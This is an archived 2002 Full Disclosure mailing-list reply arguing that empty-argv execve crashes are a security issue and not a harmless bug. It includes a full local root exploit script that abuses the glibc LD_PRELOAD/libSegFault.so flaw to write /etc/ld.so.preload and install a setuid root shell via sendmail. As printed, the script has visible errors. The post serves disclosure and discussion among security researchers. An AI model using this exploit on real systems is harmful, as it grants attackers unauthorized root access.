Full Disclosure mailing list archives
THREATCON HITTING DANGEROUS LEVELS!
From: zen-parse () gmx net (zen-parse)
Date: Tue, 1 Oct 2002 01:00:52 +1200 (NZST)
Sometime around Mon, 30 Sep 2002 07:40:00 +0100, Dave Wilson wrote:
On Sun, Sep 29, 2002 at 10:03:36PM -0700, silvio () big net au wrote:#include <stdio.h> int main(int argc, char *argv[]) { char *v[] = { NULL }; execve(argv[1], v, NULL); }This is the linux glibc bootstrap code behaviour. main() is never reached. It's not new either.
$ cat noargv.c main(int argc,char *argv[]) { char *v[]={0}; execve("/bin/date",v,0); } $ make noargv cc noargv.c -o noargv $ ./noargv Mon Sep 30 23:32:54 NZST 2002 $ A quick check shows that some programs don't care if you give NULL for argv and env, so long as the program itself checks all pointers are valid before accessing them. It seems it is not the linux glibc bootstrap code behaviour, as Dave tried to inform us. main() is indeed reached. If it was not reached, all programs would segv, not just most of them. If you had tested before replying you might've noticed this. Not being new is true though. I'm sure it has been noticed by many people when they try write their own shellcode like execve("/bin/sh",0,0), it segs. execve("/bin/ash",0,0) shellcode works. There must be some difference between bash and ash. ("Why would anyone want to write shellcode that was so obviously flawed?" some people will ask. Why not just add the extra arguments? And then those people get told to try write their own shellcode, as small as possible... execve("/tmp/tmp",0,0); <- how many bytes?) (ash-0.2-26 and bash-2.04-11 on RedHat 7.0, just in case anyone wants to test to make sure I'm not making this stuff up.) Of course, you SHOULD pass the appropriate arguments, but programs should also be able to deal with incorrect arguments being given. A segfault is not exactly dealing with it, IMO.
This is of course, not really a security threat by any means.. It is an annoying bug that effects alot of things and is really not handled correctly in the majority of implementations.
Not really being a security threat is potentially wrong though. $ cat noargv2.c main(int argc,char *argv[]) { char *v[]={0}; execve("/usr/sbin/sendmail",v,0); } $ ./noargv2 Segmentation fault Ok. Now we can cause many setuid programs to seg fault. How was that useful? Consider the glibc-2.1.3 bug with LD_PRELOAD loading libraries, as long as there were no '/'s in them. (More details at: http://online.securityfocus.com/bid/2223/discussion/ ) There is a library called /lib/libSegFault.so which is part of the glibc package, designed to help debugging Segmentation Faults. Using the way it creates files (open(fname, O_WRONLY|O_CREAT|O_TRUNC, 0666);) and setting an appropriate umask, it is possible to create any filename you want, and the add any content you want. Making our own /etc/ld.so.preload is an easy method of using this weakness. (There are sometimes other libraries that are usable too.) $ cat eviler.sh #!/bin/sh # Ancient exploit - LD_PRELOAD=libSegFault.so cat > actually.c <<EOF _init() { chown("/var/tmp/dasuid",0,0); chmod("/var/tmp/dasuid",06755); unlink("/etc/ld.so.preload"); exit(1); } EOF cc -o actually.so actually.c -shared -nostdlib || exit 1 cat > /var/tmp/dasuid.c <<EOF main(int argc,char *argv[]) { setresuid(0,0,0); setresgid(0,0,0); execve("/bin/sh","sh",0); } cc -o /var/tmp/dasuid /var/tmp/dasuid || exit 1 uname 0 export LD_PRELOAD=libSegFault.so export SEGFAULT_OUTPUT_NAME=/etc/ld.so.preload ./noargv2 echo ${PWD}/actually.so>/etc/ld.so.preload unset LD_PRELOAD /usr/sbin/sendmail $ Much easier to exploit something if you don't need to know the offsets, like this method allows. Without the segfault the file wouldn't get created... of course this type of bug was not the only one that could be used, but it is one of the easier ones to trigger.
How about not misusing exec()? 'course not, let's patch our kernels to stop idiots from using exec()!!
Of course! Telling people to stop doing things that break code might work... Ok people, listen up: Stop sending really big buffers into those small buffers we made for input. Stop putting format string codes into those messages we are logging! And stop inserting javascript into our submission forms! Please! Everyone stop doing these things, and anything else that makes our code behave badly. Only use the code the way we intended. Don't try anything new or original, and don't test it for security flaws. Then we won't have to fix our code to handle them. Thanks for the idea, Dave. I'm sure it'll work. At the moment, afaik, they are just minor bugs, with no real security issues associated with them on any reasonably up to date machine, but that doesn't mean they shouldn't be fixed. -- zen-parse Boredom causes rant-like behaviour. Guess I should get back to doing stuff. -- ------------------------------------------------------------------------- 1) If this message was posted to a public forum by zen-parse () gmx net, it may be redistributed without modification. 2) In any other case the contents of this message is confidential and not to be distributed in any form without express permission from the author.
Current thread:
- THREATCON HITTING DANGEROUS LEVELS! silvio () big net au (Sep 29)
- THREATCON HITTING DANGEROUS LEVELS! Dave Wilson (Sep 29)
- THREATCON HITTING DANGEROUS LEVELS! silvio () big net au (Sep 30)
- THREATCON HITTING DANGEROUS LEVELS! Charles Stevenson (Sep 30)
- THREATCON HITTING DANGEROUS LEVELS! Ka (Sep 30)
- <Possible follow-ups>
- THREATCON HITTING DANGEROUS LEVELS! zen-parse (Sep 30)
- THREATCON HITTING DANGEROUS LEVELS! Dave Wilson (Sep 29)